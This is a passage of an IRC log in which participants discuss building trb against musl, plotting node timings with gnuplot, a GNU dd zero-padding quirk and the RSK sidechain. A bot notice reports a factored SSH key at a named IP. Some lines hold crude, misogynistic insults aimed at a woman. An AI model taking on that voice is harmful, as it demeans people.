when we make decisions/ we will choose the people's way!" 1645486;1492535854;ben_vulpes;"baby why do you hate it?" "because it's sooo baaaad" 1645487;1492535935;mircea_popescu;aaand in other adventures, http://68.media.tumblr.com/04eca2b5bfb1718f4d4fb491cf67fd37/tumblr_ooizvk3dbH1ust2lpo1_1280.jpg 1645488;1492535973;asciilifeform;mircea_popescu: pretty great scenery 1645489;1492535982;mircea_popescu;great again, you mean. 1645490;1492536162;lobbes;So, I'm midway through my first gentoo adventure. Currently on the compile kernel step (genkernel), but running into funkiness with uClibc errors. My question is: if I abandon uClibc for, say, glibc, will I have issues building trb? (I remember reading in logz that trb doesn't use glibc) 1645491;1492536165;lobbes;Perhaps musl is better option? Fwiw, I posted over on gentoo forumz with my specifics, but am not versed enough to know if the suggestions they gave (e.g. using glibc) will fuck me over building trb or not: https://forums.gentoo.org/viewtopic-t-1062324.html?sid=c3ea68da31445ec3e870e5344a443dd3 1645492;1492536184;asciilifeform;lobbes: uclibc definitely won't work. 1645493;1492536189;asciilifeform;it's missing a bunch of essentials. 1645494;1492536210;asciilifeform;for trb, that is. 1645495;1492536214;lobbes;Aha, well this makes my decisions easier already 1645496;1492536222;asciilifeform;glibc is also not supported for trb. 1645497;1492536233;asciilifeform;( it fails to link statically ) 1645498;1492536300;ben_vulpes;trb builds with buildroot though, does that with which the kernel is compiled affect that pipeline? 1645499;1492536318;asciilifeform;nope 1645500;1492536325;asciilifeform;but you gotta make sure to have musltronic gcc. 1645501;1492536330;asciilifeform;otherwise no dice. 1645502;1492536349;asciilifeform;( this was, if anyone recalls, the whole reason i brought in the buildroot thing ) 1645503;1492536389;asciilifeform;in mod6's buildtron, the kernel isn't even used. 1645504;1492536406;asciilifeform;( but presumably lobbes is trying for a musltronic linux -- probably oughta ask trinque , iirc he has one going ) 1645505;1492536525;lobbes;Well, I'm just trying to stand up a gentoo that'll run trb. Seems like my kernel choice may not be as important as I thought as long as gcc is musltronic? 1645506;1492536535;asciilifeform;whole point of a static bin 1645507;1492536540;asciilifeform;is that it will run, in principle, 1645508;1492536544;asciilifeform;on any reasonable linux. 1645509;1492536547;asciilifeform;regardless of how built. 1645510;1492536559;asciilifeform;and be unaffected by local liquishit. 1645511;1492536571;lobbes;Aha (Sorry, most of this is over my head still) 1645512;1492536586;lobbes;Wow, that makes sense all of a sudden 1645513;1492536794;trinque;https://wiki.gentoo.org/wiki/Project:Hardened_musl 1645514;1492536842;trinque;mostly, it's 1) start from a musltronic stage3 (they're present on the mirrors in iirc "experimental") and 2) install layman, add musl overlay 1645515;1492536868;trinque;if you wanted to start from stage1, there'd be additional steps involving selecting the right portage profile 1645516;1492536884;trinque;but yeah, not required to have musltronic trb 1645517;1492536950;lobbes;Nifty! thanks trinque/asciilifeform 1645518;1492537592;mircea_popescu;http://btcbase.org/log/2017-04-18#1645485 << yeah well, when the people actually get a way, or for that matter a clue, maybe we revisit this. 1645519;1492537592;a111;Logged on 2017-04-18 17:16 ben_vulpes: "Kings are fine for storytime./ Knights are fun to play./ But when we make decisions/ we will choose the people's way!" 1645520;1492537962;mircea_popescu;oh, and in "trends and fashions of wedding parties today", https://68.media.tumblr.com/036dc4e5d5e3ac795a421c403de31b76/tumblr_o1m2tuV3ym1uzp3feo1_400.gif 1645521;1492538511;asciilifeform;in other noose, 'Steve Stephens was spotted this morning by PSP members in Erie County. After a brief pursuit, Stephens shot and killed himself.' -- re: recent desperado 1645522;1492538532;ben_vulpes;PSP? 1645523;1492538544;asciilifeform;PA state police. 1645524;1492538575;ben_vulpes;ah 1645525;1492538585;ben_vulpes;'members' threw me off 1645526;1492538605;mircea_popescu;who was this ? 1645527;1492538610;asciilifeform;some d00d 1645528;1492538617;mircea_popescu;clearly. 1645529;1492538631;asciilifeform;the one in http://qntra.net/2017/04/easter-manhunt-in-us . 1645530;1492538634;mircea_popescu;a 1645531;1492538814;asciilifeform;https://archive.is/ts6e4 << in other manchurian candidates. 1645532;1492538952;asciilifeform;'The man accused of fatally shooting five people in a Washington state mall last year has been found dead in his jail cell, authorities said Monday. ... When police confronted the suspect, he froze and complied ... was unarmed and silent, "kind of zombie-like," ... emigrated from Turkey and was a legal permanent resident' 1645533;1492539350;mats;https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2460568 a comparison of game theory strategies: always-defect, always-cooperate, tit-for-tat and win-stay, lose-shift 1645534;1492539522;Framedragger;mats: why this particular paper? unless no good comparisons till now, but kinda hard to believe? just curious. 1645535;1492539532;asciilifeform;mats: if you're an aficionado, you'll like http://btcbase.org/log/2014-06-22#728931 1645536;1492539532;a111;Logged on 2014-06-22 17:11 asciilifeform: (think: axelrod's classic 'prisoner' tournament - 'on steroids') 1645537;1492539752;mats;Framedragger: came up in a discussion re: dprk engagement, regarding how one might 'error correct' to prevent conflict spiraling 1645538;1492539804;mats;i've little exposure to game theory beyond iterated tit-for-tat so i found this interesting 1645539;1492539829;mod6;im having trouble making a graph with nearly a million datapoints in it. 1645540;1492539844;Framedragger;mats: ah, sounds cool :) 1645541;1492539862;mod6;drawing of the graph is crashing LibreOffice Calc. 1645542;1492539880;mats;everything crashes libreoffice calc in my experience 1645543;1492539890;mod6;any other graph tool suggestions? 1645544;1492539901;ben_vulpes;excel 1645545;1492539902;*;ben_vulpes ducks 1645546;1492539906;mod6;lol 1645547;1492539931;mats;matplotlib, but iirc you're a perl-er 1645548;1492539935;mircea_popescu;mod6 use the tool we use in eulora! 1645549;1492539944;mircea_popescu;recall, all the mining maps 1645550;1492539951;mod6;ah. ok. 1645551;1492539972;mod6;infact, this thing crashed my entire computer. pff 1645552;1492539999;mod6;had to hardpower off the fucking cocksucker 1645553;1492540101;mircea_popescu;in other hardpower lulz, chick's icemaker in the fridge stopped working, just this very sad sound and no ice forthcoming. she called the very helpful super (young guy, i suppose he likes her). quoth he : "sometimes when the power goes out you have to reset these. you know, like computers ? power it down overnight and see in the morning." 1645554;1492540128;ben_vulpes;second gross of the day 1645555;1492540129;mats;https://arabic.sputniknews.com/arab_world/201704181023545107-%D8%AF%D8%A7%D8%B9%D8%B4-%D8%A7%D9%84%D8%A8%D8%BA%D8%AF%D8%A7%D8%AF%D9%8A-%D8%B3%D9%88%D8%B1%D9%8A%D8%A7 ru news reports capture of abu bakr al-baghdadi 1645556;1492540132;ben_vulpes;keep 'em comin boys 1645557;1492540143;mircea_popescu;quoth her : "fuck me, i bet i know what happened. power went out for like 10 minutes yest, musta been the water duct froze in the interval then power being back on it maintains the ice cork and it can't make more ice." 1645558;1492540160;mircea_popescu;quoth me : "so power it down, open freezer door, put glass of hot water close to conduit in question." 1645559;1492540165;mircea_popescu;win-win-lulz. 1645560;1492540288;Framedragger;smooth troubleshooting! 1645561;1492541564;asciilifeform;http://btcbase.org/log/2017-04-18#1645539 << gnuplot 1645562;1492541564;a111;Logged on 2017-04-18 18:23 mod6: im having trouble making a graph with nearly a million datapoints in it. 1645563;1492541570;mircea_popescu;aha. 1645564;1492541579;asciilifeform;strictly. 1645565;1492541595;asciilifeform;anything else -- waste of time 1645566;1492541694;diana_coman;asciilifeform, that's what "we use in eulora" 1645567;1492541732;*;mircea_popescu is sitting pretty on a large ball of synergy, pulling on the threads. 1645568;1492542956;mod6;ok 1645569;1492542977;mod6;is this kinda what you're looking for? http://www.mod6.net/eatblock-test/ProcessBlockTimeVDBWaitTime.png 1645570;1492543050;mircea_popescu;o hey nice 1645571;1492543055;mod6;oh wit. 1645572;1492543058;mod6;*wait. 1645573;1492543061;mod6;this can't be right... 1645574;1492543064;mircea_popescu;oh ? 1645575;1492543134;mod6;well, maybe it is? i see some spikes in the 30000ms range... didn't think it was ever that high. 1645576;1492543139;mod6;looking through the raw data now... 1645577;1492543190;mircea_popescu;worth a check 1645578;1492543301;mod6;$ cat graph.txt | awk '{print $2}' | perl -e '@a=; foreach(@a) { chomp($_); if($_ > 25000) { print "$_\n"; }}' | wc -l 1645579;1492543304;mod6;10 1645580;1492543316;mod6;oh yah! guess there are. :] 1645581;1492543321;mircea_popescu;:p 1645582;1492543333;mircea_popescu;spotting this sort of thing is why graphs exist in the first place. 1645583;1492543351;mod6;gnuplot is actually really cool. can't believe i never used it before. 1645584;1492543369;mod6;thanks a LOT to diana_coman who helped me :] 1645585;1492543374;mircea_popescu;can't believe you didn't start using it once you saw all of us use it in eulora lol\ 1645586;1492543408;mod6;i actually had no idea how you guys were doing the charting. 1645587;1492543412;mod6;should have asked. 1645588;1492543422;mircea_popescu;she made a post about it, lemme see 1645589;1492543440;diana_coman;cool graph mod6 1645590;1492543458;mircea_popescu;http://www.dianacoman.com/2015/10/13/hic-sunt-flotsams-on-eulora-or-the-brand-new-foxymaps/ < 1645591;1492543464;mod6;ya, turned out cool 'eh? thanks for your help. looks sweet. 1645592;1492543468;mod6;oh 1645593;1492543469;*;mod6 looks 1645594;1492543486;mircea_popescu;well at least didn't hose whole machine eh ? :D 1645595;1492543501;mod6;ahhh right, i remember seeing this. 1645596;1492543524;mod6;haha, yeah, it did grind it down for like 10 seconds, but then it was fine 1645597;1492543524;mircea_popescu;says gnuplot right there 1645598;1492543545;mod6;yeah, stuff falls out of my head sometimes. 1645599;1492543556;mod6;i'll update my blog 1645600;1492543785;shinohai;Heh I remember reading diana_coman 's article and spent whole weekend plotting shit and writing scripts 1645601;1492543806;mircea_popescu;lol 1645602;1492543812;*;diana_coman can't quite believe that's from 2015 already, ha 1645603;1492543832;mircea_popescu;shit accumulates! 1645604;1492543840;shinohai;I didn't discover it until late last year lol 1645605;1492543849;mircea_popescu;thanks god you took the hour to write it out so two years later i can link it. 1645606;1492543904;diana_coman;there is that 1645607;1492543951;mod6;yeah, srsly. 1645608;1492543968;mod6;and it looks like 69x easier than me gimp'ing over some eulora screenshots. 1645609;1492543986;mod6;[blog updated] 1645610;1492544012;mircea_popescu;mod6 yeah, because it autoprocessed the bot log anyway. you dun gotta do nuttin. 1645611;1492544029;mod6;that's slick 1645612;1492544050;asciilifeform;mod6: see ye olde http://therealbitcoin.org/ml/btc-dev/2015-July/000107.html << there is a pythong and gp script in there 1645613;1492544052;mod6;that's slick 1645614;1492544055;asciilifeform;( the one i used for the plots ) 1645615;1492544080;asciilifeform;oh nm 1645616;1492544085;asciilifeform;looks like mod6 already has 1645617;1492544090;asciilifeform;lol 1645618;1492544095;mircea_popescu;lol 1645619;1492544100;*;asciilifeform catches up with l0gz 1645620;1492544134;asciilifeform;gotta wonder, what happened in the spikes 1645621;1492544138;asciilifeform;'stress tests' ? 1645622;1492544158;asciilifeform;( folx playing with mining 'db-pessimized' blocks... ? ) 1645623;1492544169;mircea_popescu;the one concerning point is that the growth has not yet plateau'd. 1645624;1492544182;asciilifeform;mircea_popescu: didn't i tellya it'll be geometric ? 1645625;1492544194;mircea_popescu;so far looks flatly linear. but... 1645626;1492544198;mircea_popescu;early on everything does. 1645627;1492544201;asciilifeform;aha. 1645628;1492544218;asciilifeform;you can trivially derive the fact of it being not at all linear. 1645629;1492544256;asciilifeform;eventually (given the extant turdball) it'll be >10min, and party's over. 1645630;1492544272;mircea_popescu;it's not that far off as it is. bout halfway there. 1645631;1492544273;ben_vulpes;eh we could just give up on verification 1645632;1492544277;asciilifeform;'we' 1645633;1492544288;mircea_popescu;ben_vulpes has been trying to troll all day, and he sucks at it! 1645634;1492544327;ben_vulpes;this is snark, not trolling 1645635;1492544346;mircea_popescu;snark is trolling. 1645636;1492544357;ben_vulpes;trolling is /fishing/ 1645637;1492544361;mircea_popescu;like sarcasm is wit. 1645638;1492544384;mircea_popescu;ben_vulpes that's trawling. 1645639;1492544410;ben_vulpes;one trawls for lolz, trolls for trout. 1645640;1492544426;mircea_popescu;trout is not an ocean fish. 1645641;1492544434;ben_vulpes;it's a freshwater river thing. 1645642;1492544444;asciilifeform;mod6: can haz one moar plot -- just 300,000 and up, plox ? 1645643;1492544445;mircea_popescu;!~google trawler 1645644;1492544446;jhvh1;mircea_popescu: Browse Trawler boats for sale - YachtWorld.com: ; Trawler - Wikipedia: ; Trawlers For Sale By Size - Used Trawlers - New Trawlers - Yacht ...: 1645645;1492544459;asciilifeform;mod6: also legend oughta read 'db write wait time' 1645646;1492544468;asciilifeform;( the overall db wait time is ~= the total ) 1645647;1492544485;ben_vulpes;!~google trout trolling 1645648;1492544487;jhvh1;ben_vulpes: Trolling For Rainbow Trout In Still Waters - In-Fisherman: ; Four Ways to Troll for Trout , Salmon, Crappies, Walleyes, and ...: ; Trout Trolling Techniques - Game & Fish: (1 more message) 1645649;1492544489;mircea_popescu;meanwhile at berkley, http://68.media.tumblr.com/d132ecec41abba7b99143fb41f52d4c0/tumblr_nfzg9cHlYB1qetydwo1_1280.jpg 1645650;1492544562;mircea_popescu;asciilifeform possibly time to re-do this whole eatblock instrumentation with a per-line timing profiler. 1645651;1492544569;asciilifeform;mircea_popescu: i DID THIS 1645652;1492544571;asciilifeform;omfg 1645653;1492544582;asciilifeform;there's exactly 1 segment that accounted for ~99% of time. 1645654;1492544585;asciilifeform;and i instrumented it. 1645655;1492544596;asciilifeform;thread is in the logs. 1645656;1492544629;mircea_popescu;no, i know. but look at the graph. so what ~exactly~ is this 'db write wait time' that is ~= the total ? 1645657;1492544692;asciilifeform;e.g., 1645658;1492544693;asciilifeform;ProcessBlock (res == 1) took : 167839ms; db write wait: 130117ms; db read wait: 21201ms 1645659;1492544705;asciilifeform;i posted a bunch of these. 1645660;1492544707;mircea_popescu;can i has corresponding code snippet that was executing ? 1645661;1492544710;asciilifeform;aha! 1645662;1492544719;mircea_popescu;nevermind the bunch of these, i want the whole eatblock'd blockchain. 1645663;1492544719;asciilifeform;http://therealbitcoin.org/ml/btc-dev/attachments/20170226/asciilifeform_blackhole_reads.vpatch 1645664;1492544722;mircea_popescu;ie, ALL, no bunch. 1645665;1492544749;asciilifeform;mircea_popescu: that's what mod6 was doing. except that he forgot the 'read' patch ^ and only had total and write. 1645666;1492544762;mircea_popescu;mod6 you up for a re-do ? 1645667;1492544886;asciilifeform;also fwiw his total block delays (red) match the ones on my ssd node (zoolag) 1645668;1492544889;asciilifeform;roughly. 1645669;1492545111;mod6;i certainly could. 1645670;1492545203;mod6;so just add in this patch: http://therealbitcoin.org/ml/btc-dev/2017-February/000256.html ? 1645671;1492545206;mircea_popescu;would be useful to have the whole saga, and you're all set up for it, so should be easier than reconstructing the setup later. 1645672;1492545262;mod6;i'm up for a full re-eatblock. just want to make sure I'm not missing anything this time :] 1645673;1492545262;asciilifeform;mod6: you need asciilifeform_blackhole_odometer.vpatch + above, aha. 1645674;1492545266;mod6;ok. 1645675;1492545271;mod6;let me get that setup. 1645676;1492545281;asciilifeform;one more thing 1645677;1492545284;mod6;ok 1645678;1492545290;asciilifeform;(optional) make it print total odometers on shutdown 1645679;1492545303;mod6;how do i do that? 1645680;1492545308;asciilifeform;so we find out total % of the node's bringup time spent waiting for bdb 1645681;1492545337;asciilifeform;make a, e.g., 1645682;1492545362;asciilifeform;int64 dbTotal = 0; somewhere, 1645683;1492545420;asciilifeform;and dbTotal += res ; say, after the print. 1645684;1492545428;asciilifeform;then where the shutdown routine is, print it. 1645685;1492545445;mod6;im certain to screw that up 1645686;1492545448;asciilifeform;anyway this is not essential. 1645687;1492545462;mircea_popescu;lettuce take a moment and make this one proper. 1645688;1492545463;mod6;before I recompile everything. i'll check with you again. 1645689;1492545477;mod6;i gotta recut all the blocks anyway. 1645690;1492545482;mod6;i just deleted them this am 1645691;1492545487;mircea_popescu;oh 1645692;1492545502;asciilifeform;mod6: i recommend to keep'em around 1645693;1492545514;asciilifeform;they are quite handy. 1645694;1492545530;mod6;for whom? it's like 100G 1645695;1492545542;asciilifeform;handy for experiments and what-ifs of many sorts. 1645696;1492545548;asciilifeform;i quite often refer to the raw blox. 1645697;1492545558;asciilifeform;put'em on an old hdd. 1645698;1492545574;mod6;ok, maybe might have to just another drive and drop 'em on there. 1645699;1492545621;asciilifeform;in other noose! 1645700;1492545624;asciilifeform;i may have found a bug in dd. 1645701;1492545637;asciilifeform;of the worst sort, the 'folx in the know, know about it, and it will never be fixed' 1645702;1492545642;mircea_popescu;as a general policy, when doing things of this nature (publishing intertesting stuff in forum) keep the whole echafaudage for day+ while people comment. 1645703;1492545659;ben_vulpes;weeks+ is prudent, review is slow 1645704;1492545675;mircea_popescu;or that. 1645705;1492545686;asciilifeform;apparently, when reading slow or variable-speed source ( such as FUCKGOATS ) dd will sometimes fail to fill an entire block (default block size is 512 on most boxes) and PAD WITH MOTHERFUCKING ZEROS 1645706;1492545700;asciilifeform;the cure, apparently, is option ' iflag=fullblock ' which for some reason is NOT DEFAULT 1645707;1492545702;asciilifeform;MOTHERFUCKERS 1645708;1492545730;asciilifeform;on what planet was this considered acceptable?!!! 1645709;1492545737;mod6;i'll try that next time i run a test. 1645710;1492545739;asciilifeform;'oh i'ma pad with zeros' 1645711;1492545749;asciilifeform;holy FUCK the sheer gangrene. 1645712;1492545780;asciilifeform;^ mircea_popescu, mod6 , ben_vulpes , everybody ^ 1645713;1492545788;Framedragger;asciilifeform: whaaaaaaaaat 1645714;1492545792;asciilifeform;ikr? 1645715;1492545799;ben_vulpes;p. bad. 1645716;1492545809;Framedragger;why in the fuck would that be useful 1645717;1492545818;Framedragger;it's /dev/urandom but worse 1645718;1492545829;Framedragger;also NOT ITS JOB 1645719;1492545829;Framedragger;:D 1645720;1492545831;mircea_popescu;asciilifeform i thought you thought core utils is fine. 1645721;1492545847;asciilifeform;mircea_popescu: apparently everything is 'fine' until you find the magic corner case. 1645722;1492545860;mircea_popescu;except for any time you try to use them, i find they are fine too! like one of those comedic toolboxes with a hammer that's seemingly attached except if you pick it up the metal falls off etc. 1645723;1492545867;mircea_popescu;magic my foot. 1645724;1492545879;Framedragger;mp is now like "i told ya so!!! tail!!!" 1645725;1492545899;asciilifeform;http://nosuchlabs.com/hardware.html has been updated. 1645726;1492545925;asciilifeform;mircea_popescu: e.g., dd, worx 100% of the time when copying multi-TB ssd, say. 1645727;1492545940;asciilifeform;but apparently doesn't like kB/s variable thing. 1645728;1492545949;asciilifeform;'unix philosophy' my arse. 1645729;1492545950;Framedragger;it's like the modern website. "i expect good bandwidth. you have low bandwidth? fuck yourself" 1645730;1492545970;Framedragger;that's so *silent* and sneaky tho. 1645731;1492545987;asciilifeform;Framedragger: almost like somebody thought about rng. 1645732;1492546008;mod6;ok blowing away all of my .dat files in ~/.bitcoin 1645733;1492546018;mod6;will recut all .dat files ... 1645734;1492546061;Framedragger;"Note if the input may return short reads as could be the case when reading from a pipe for example, ‘iflag=fullblock’ will ensure that ‘count=’ corresponds to complete input blocks rather than the traditional POSIX specified behavior of counting input read operations." OK 1645735;1492546098;asciilifeform;Framedragger: picture if 'this util will format your hdd unless you supply the iflag=dontformatmyhdd option' buried somewhere deep in docs. 1645736;1492546098;mod6;cutting blocks... 1645737;1492546128;asciilifeform;why the FUCK would anyone specify 'count ATTEMPTS' rather than reads ! 1645738;1492546144;Framedragger;apparently it's posix tradition didntyaknow 1645739;1492546152;asciilifeform;barfalicious. 1645740;1492546175;Framedragger;flabbergasted. may as well embrace tmsr's default malice interpretation here. because seriously. 1645741;1492546233;*;Framedragger thought `dd` was one of those few 'no hidden bullshit, what you see is what you get' utilities from better times 1645742;1492546249;asciilifeform;aaaha. 1645743;1492546252;Framedragger;nice find. 1645744;1492546263;ben_vulpes;while we're doing these, i'd be much obliged if folks with a copy of drakma on hand would run `(drakma:http-request "https://untrusted-root.badssl.com")` and let me know what you get 1645745;1492546264;asciilifeform;nooseflash: even, e.g., 'cat', has megatonne of liquishit. 1645746;1492546268;asciilifeform;on 'modern unix'. 1645747;1492546348;trinque;cat thread is by now a yearly tradition 1645748;1492546356;ben_vulpes;cat: https://gist.github.com/pete/665971 1645749;1492546379;asciilifeform;^ we had this on 2+ threads 1645750;1492546455;asciilifeform;( spoiler : plan9's is the 'correct' one ) 1645751;1492546593;Framedragger;yes well, granted it doesn't support additional command line args, so has to handle fewer things. but then, maybe that, too, is *also* correct... 1645752;1492546605;mircea_popescu;asciilifeform sadly, it IS the posix standard. 1645753;1492546618;ben_vulpes;Framedragger: complexity is a the self-justifying disease of the programmer's mind 1645754;1492546649;Framedragger;i certainly see that, especially looking at gnu cat (omfg) 1645755;1492546664;mircea_popescu;http://btcbase.org/log/2017-04-18#1645740 << i can't iamgine how. the skeleton we found is just about 50 years old. 1645756;1492546664;a111;Logged on 2017-04-18 20:09 Framedragger: flabbergasted. may as well embrace tmsr's default malice interpretation here. because seriously. 1645757;1492546665;ben_vulpes;but you don't see that from your career of programmering to date? 1645758;1492546672;asciilifeform;mircea_popescu: ' i only implemented the standard ' has roughly same cachet as ' i was only following orders!11' 1645759;1492546711;mircea_popescu;asciilifeform i betcha it's been in the old dog eared yellowed looseleaf notes the posix copied. 1645760;1492546712;asciilifeform;mircea_popescu: nope 1645761;1492546713;asciilifeform;http://pubs.opengroup.org/onlinepubs/9699919799/utilities/dd.html 1645762;1492546715;Framedragger;ben_vulpes: of course i do. i meant, i see it here, too, and agree. but, yeah, 'tis a big problem 1645763;1492546716;asciilifeform;2001. 1645764;1492546738;ben_vulpes;hmk 1645765;1492546739;asciilifeform;the 'standard' in question is actually quasi-mythological work, and (yes) SCO's. 1645766;1492546744;asciilifeform;THAT very same SCO. 1645767;1492546762;mircea_popescu;hm. 1645768;1492547184;asciilifeform;btw, here's a lulzy: 1645769;1492547185;asciilifeform;yes | dd of=out bs=1024k count=10 1645770;1492547197;asciilifeform;then ls -l out 1645771;1492547199;asciilifeform;and laugh/cry 1645772;1492547315;doppler;weird.. what's going on there? 1645773;1492547337;asciilifeform;doppler: once you figure out this puzzler, you will grasp what the thread was about 1645774;1492547415;shinohai;See the du -h retardation from previous thread 1645775;1492547431;asciilifeform;^ that one is at least plain to naked eye 1645776;1492547440;asciilifeform;if you omit the 'h', you get output in martian units 1645777;1492547575;doppler;I agree that -h should be the default in userland utilities 1645778;1492547589;asciilifeform;bbbbutthatwouldntbePOSIX!111 1645779;1492547594;trinque;folks that want a charitable interpretation of these might ponder a while re: who has the most time / resources to shitgnominate 1645780;1492547633;doppler;asciilifeform: haha, yeah. like I have “alias l='ls -hlp'” for example 1645781;1492547665;doppler;asciilifeform: POSIX sure seems to result in a lot of braindamage 1645782;1492549419;jurov;short reads prolly started as unix worse-is-better philosophy "api has these huge warts but as it can be easily fixed by retrying in userspace, it's okay"..posix only snowballed on 1645783;1492549445;mircea_popescu;i believe. 1645784;1492549626;mircea_popescu;was a time when data was a lot more valuable, basically on account of the world not yet consisting of the www pressed shitboard. in that world of little valuable data, having any chunk "lost in the pipes" would have appeared typically soviet wasteful bureaucratism. 1645785;1492549663;asciilifeform;except that the idiocy in question doesn't preserve any data. 1645786;1492549674;asciilifeform;it inserts 0 silently in place of what failed to read. 1645787;1492549690;asciilifeform;'new jersey philosophy' : 'silent failure is just about as good as success' 1645788;1492549695;mircea_popescu;if i have 3.5 blocks it allows me to read 4 blocks last of which is half 0s 1645789;1492549710;asciilifeform;could just the same do this without the padding. 1645790;1492549719;mircea_popescu;not on their iron. 1645791;1492549720;asciilifeform;read 77 bytes ? write 77, motherfucker 1645792;1492549725;asciilifeform;let the WRITER pad. 1645793;1492549730;asciilifeform;if the iron wants it. 1645794;1492549731;mircea_popescu;wasteful. 1645795;1492549734;asciilifeform;how?? 1645796;1492549741;mircea_popescu;padding has now been written. 1645797;1492549761;asciilifeform;i dun get it 1645798;1492549770;asciilifeform;put the padding in when and IF required -- on the end that requires it. 1645799;1492549772;mircea_popescu;do you want to get it ? 1645800;1492549778;asciilifeform;rather than having the reader lie to the operator. 1645801;1492550402;jurov;on the yes test, i got warning: 1645802;1492550405;jurov;dd: warning: partial read (73728 bytes); suggest iflag=fullblock 1645803;1492550539;jurov;still, no mention at all data is mutilated 1645804;1492550597;doppler;I didn't get any warnings. you're using coreutils dd, correct? 1645805;1492550730;jurov;yes, sys-apps/coreutils-8.25 (/bin/dd) (acl nls xattr -caps -gmp -hostname -kill -multicall -selinux -static -vanilla USERLAND="-BSD") 1645806;1492551211;doppler;oops, I actually do get that warning. totally didn't see it the first time. coreutils-8.27 here 1645807;1492552700;mod6;<+asciilifeform> mod6: can haz one moar plot -- just 300,000 and up, plox ? << i can do this easy enough, still want this? 1645808;1492552962;mod6;<+asciilifeform> yes | dd of=out bs=1024k count=10 << ya, tried this, 122880 bytes out 1645809;1492552998;mod6;then tried `yes | dd iflag=fullblock of=out bs=1024k count=10` and says 10485760 bytes out 1645810;1492553004;mod6;so yah that's fucky 1645811;1492553867;mircea_popescu;meanwhile at teh farm, http://68.media.tumblr.com/a0620361837d5fee98c28c530b5615d3/tumblr_on2gp6kV7M1w5g497o2_1280.png 1645812;1492553938;mod6;work, work, work. 1645813;1492553991;mircea_popescu;better than the tanning bed. 1645814;1492553997;mod6;for sure 1645815;1492554580;asciilifeform;http://btcbase.org/log/2017-04-18#1645802 << i got no warnings 1645816;1492554580;a111;Logged on 2017-04-18 21:20 jurov: dd: warning: partial read (73728 bytes); suggest iflag=fullblock 1645817;1492555168;ben_vulpes;dd on bsd (os x, claims 1994 vintage) does not appear to pad 1645818;1492555173;ben_vulpes;manpage indicates padding must be asked for 1645819;1492555302;Framedragger;this is only done by gnu coreutils dd, it seems. same warning on ubuntu (coreutils), etc. 1645820;1492555360;ben_vulpes;http://p.bvulpes.com/pastes/1rlkx/?raw=true 1645821;1492558345;BingoBoingo;!~ud tiny dancer 1645822;1492558347;jhvh1;BingoBoingo: tiny dancer :: "Tiny Dancer" is the name given to (and used when spoken about in public or otherwise) the 1/2 erection that can be grabbed at the base and twirled around, thus becoming a "tiny dancer." [ex:] "So who wants to go play frisbee?""I do, but wait until my Tiny Dancer goes away." [/ex] | 1.) A drink made with one part Stolichnaya Oranj, one part cranberry juice. Garnish with lime.2.) A (6 more messages) 1645823;1492558360;BingoBoingo;^ At least ud core util works 1645824;1492560301;Framedragger;it's remarkably good.. 1645825;1492562669;asciilifeform;http://www.rsk.co/#about-rsk << embrace&extinguish!11 1645826;1492562931;ben_vulpes;ohey, dieguito 1645827;1492562939;asciilifeform;waiwat 1645828;1492562952;ben_vulpes;i think he's been around a while 1645829;1492562953;ben_vulpes;yeah 1645830;1492562988;ben_vulpes;met him in ars a while back 1645831;1492562996;ben_vulpes;how do these "two way pegs" work? 1645832;1492563028;asciilifeform;'Bitcoin cannot verify the authenticity of balances on another blockchain. When a user intends to convert BTC to SBTC, some BTC are locked in Bitcoin and the same amount of SBTC is unlocked in RSK. ' 1645833;1492563035;asciilifeform;'locked in bitcoin' wat, how 1645834;1492563056;ben_vulpes;c'est un mysthurr 1645835;1492563102;asciilifeform;and we find, further in, 1645836;1492563103;asciilifeform;'At least 51% percent of the Federation members signatures are required to transfer bitcoins out of the peg wallet. However, once Bitcoin soft-forks to support the drivechain BIP RSK proposed, unlocking funds from the peg will require 51% percent acknowledgement by the merge-mining hashing power as well. ' 1645837;1492563111;asciilifeform;sooooooo apparently mutilation of bitcoin is part of the plan. 1645838;1492563115;asciilifeform;until then, plain promisetronics. 1645839;1492563138;ben_vulpes;this implies they'll run their own rsk central bank thinger? 1645840;1492563143;asciilifeform;naturally. 1645841;1492563158;ben_vulpes;getting 51% signatures for each trade? or...? 1645842;1492563208;asciilifeform;this gets better and better, 1645843;1492563209;asciilifeform;'RSK miners cannot double-spend, as the Federation provides the checkpointing service, and every Federation member node is highly connected to the RSK network to prevent Sybil attacks. The Federation will use the checkpointing power to prevent reorganizations of high depth which are not related to a protocol fault. The Federation cannot double-spend, as a Federation member is not allowed to checkpoint two blocks having conflicting t 1645844;1492563209;asciilifeform;ransactions.' 1645845;1492563222;asciilifeform;gotta be parody. 1645846;1492563244;asciilifeform;'RSK WILL NEVER PROPOSE A FORK TO INTERVENE IN A SITUATION BETWEEN PARTIES OR USERS SUCH AS THE DAO SITUATION' << allcaps, mustbetrue! 1645847;1492563268;ben_vulpes;what, someone else can propose it 1645848;1492563347;asciilifeform;'clients stop using federated checkpoints when if RSK hashing power is over 66% of the maximum BTC hashing difficulty observed in the best chain and the fees paid in a block are higher or equal to the average reward of a Bitcoin block.' << first, afaik, instance of altshitcoin audacious enough to have hardcoded embrace&extinguish automated detector. 1645849;1492563385;ben_vulpes;how does one detect hashpower? 1645850;1492563403;asciilifeform;ben_vulpes: via difficulty ? 1645851;1492563435;ben_vulpes;i suppose, weak proxy though 1645852;1492563477;asciilifeform;ben_vulpes: why ? 1645853;1492563514;ben_vulpes;only adjusts every two weeks, right? 1645854;1492563553;asciilifeform;right. but if you notice that a block is happening every 3min, you can also estimate the next change in diff 1645855;1492563558;asciilifeform;ergo the hashpower 1645856;1492563598;asciilifeform;(unless you want to dispute whether it is correct to say 'hashpower' if someone somewhere is mining using a non-bruteforce algo, 'cheating', or with whatever witchcraft that doesn't require walking the hash) 1645857;1492563749;ben_vulpes;mhm 1645858;1492564429;mircea_popescu;o look, it's random scam nonsense day on trilema. 1645859;1492564444;mircea_popescu;i wonder how long till we cycle back to that brunette fucktard, what's her name. 1645860;1492564514;asciilifeform;tresscoverer? 1645861;1492564516;asciilifeform;or what was it 1645862;1492564537;mircea_popescu;nono, some beauty contest reject that then failed to find her cocksucker career, went into congressional aide pretense. 1645863;1492564565;mircea_popescu;stupid name too 1645864;1492564609;mircea_popescu;prophiria brick or audacia stove or somesuch usian style greek-given name / scullery item family name. 1645865;1492564620;asciilifeform;i must've missed this one 1645866;1492564941;deedbot;http://phuctor.nosuchlabs.com/gpgkey/41D2E18DE2BE0D8C4DFB09DD66A9634FA07F3C0E9F5026CCAF88F82245BF8061 << Recent Phuctorings. - Phuctored: 1033...6167 divides RSA Moduli belonging to '74.45.0.99 (ssh-rsa key from 74.45.0.99 (13-14 June 2016 extraction) 